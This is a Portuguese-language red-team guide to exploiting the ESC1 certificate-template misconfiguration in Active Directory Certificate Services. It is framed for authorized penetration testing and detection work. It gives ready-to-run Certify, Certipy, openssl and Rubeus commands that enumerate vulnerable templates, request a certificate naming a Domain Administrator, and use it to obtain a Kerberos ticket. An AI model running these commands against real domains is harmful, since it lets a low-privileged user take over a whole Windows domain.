Explorando o ESC1 dos Serviços de Certificado do Active Directory

Visão Geral

ESC1 (Cenário de Escalada 1) é uma má configuração crítica nos Serviços de Certificado do Active Directory onde um modelo de certificado permite que um usuário com privilégios baixos solicite um certificado em nome de qualquer outro usuário, incluindo Administradores de Domínio. A vulnerabilidade existe quando um modelo tem a flag CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT ativada (também chamada de "Fornecer na Solicitação"), combinada com um Uso Estendido de Chave (EKU) que permite autenticação de cliente (Autenticação de Cliente, Autenticação de Cliente PKINIT, Logon com Cartão Inteligente ou Qualquer Propósito). Isso permite que um atacante especifique um Nome Alternativo do Assunto (SAN) arbitrário na solicitação de certificado, efetivamente se passando por qualquer usuário do domínio. O ESC1 foi documentado pelos pesquisadores da SpecterOps, Will Schroeder e Lee Christensen, em seu whitepaper "Certified Pre-Owned" (2021) e continua sendo um dos caminhos de ataque mais comuns do AD CS. O framework MITRE ATT&CK rastreia isso como T1649 (Roubar ou Forjar Certificados de Autenticação).

Quando Usar

• Ao realizar testes de segurança autorizados que envolvam a exploração do ESC1 dos serviços de certificado do Active Directory
• Ao analisar amostras de malware ou artefatos de ataque em um ambiente controlado
• Ao conduzir exercícios de equipe vermelha ou engajamentos de testes de penetração
• Ao construir capacidades de detecção com base no entendimento de técnicas ofensivas

Pré-requisitos

• Familiaridade com conceitos e ferramentas de red teaming
• Acesso a um ambiente de teste ou laboratório para execução segura
• Python 3.8+ com as dependências necessárias instaladas
• Autorização apropriada para quaisquer atividades de teste

Objetivos

• Enumerar a infraestrutura do AD CS e os modelos de certificado usando Certify ou Certipy
• Identificar modelos ESC1 vulneráveis com "Fornecer na Solicitação" ativado
• Solicitar um certificado especificando um Administrador de Domínio no campo SAN
• Autenticar usando o certificado forjado via PKINIT para obter um TGT
• Escalar privilégios para Administrador de Domínio usando o ticket Kerberos obtido
• Documentar a cadeia de ataque completa para o relatório do engajamento

Mapeamento MITRE ATT&CK

• T1649 - Roubar ou Forjar Certificados de Autenticação
• T1558.001 - Roubar ou Forjar Tickets Kerberos: Golden Ticket
• T1078.002 - Contas Válidas: Contas de Domínio
• T1484 - Modificação de Política de Domínio
• T1087.002 - Descoberta de Conta: Conta de Domínio

Fluxo de Trabalho

Fase 1: Enumeração do AD CS

1. Enumerar servidores de Autoridade de Certificação (CA) no domínio:

   # Using Certify (Windows)
   Certify.exe cas
   
   # Using Certipy (Linux/Python)
   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
   

2. Enumerar todos os modelos de certificado e identificar os vulneráveis:

   # Using Certify - find vulnerable templates
   Certify.exe find /vulnerable
   
   # Using Certipy - outputs JSON and text reports
   certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
   

3. Verificar as condições do ESC1 nos modelos identificados:
   • msPKI-Certificate-Name-Flag contém ENROLLEE_SUPPLIES_SUBJECT
   • pkiExtendedKeyUsage contém Autenticação de Cliente ou Logon com Cartão Inteligente
   • msPKI-Enrollment-Flag não requer aprovação do gerente
   • Grupo de baixo privilégio (Usuários do Domínio, Usuários Autenticados) tem direitos de Inscrição

Fase 2: Solicitação de Certificado com SAN Arbitrário

1. Solicitar um certificado usando o modelo vulnerável, especificando um Administrador de Domínio no SAN:

   # Using Certify (Windows)
   Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
   
   # Using Certipy (Linux)
   certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
   

2. A CA emite um certificado com o UPN do Administrador de Domínio no campo SAN
3. Salvar o certificado de saída no formato PFX/PEM

Fase 3: Autenticação com Certificado Forjado

1. Converter o certificado, se necessário (Certify gera PEM, converter para PFX):

   openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
   

2. Autenticar usando PKINIT para obter um TGT para o usuário impersonado:

   # Using Rubeus (Windows)
   Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
   
   # Using Certipy (Linux)
   certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
   

…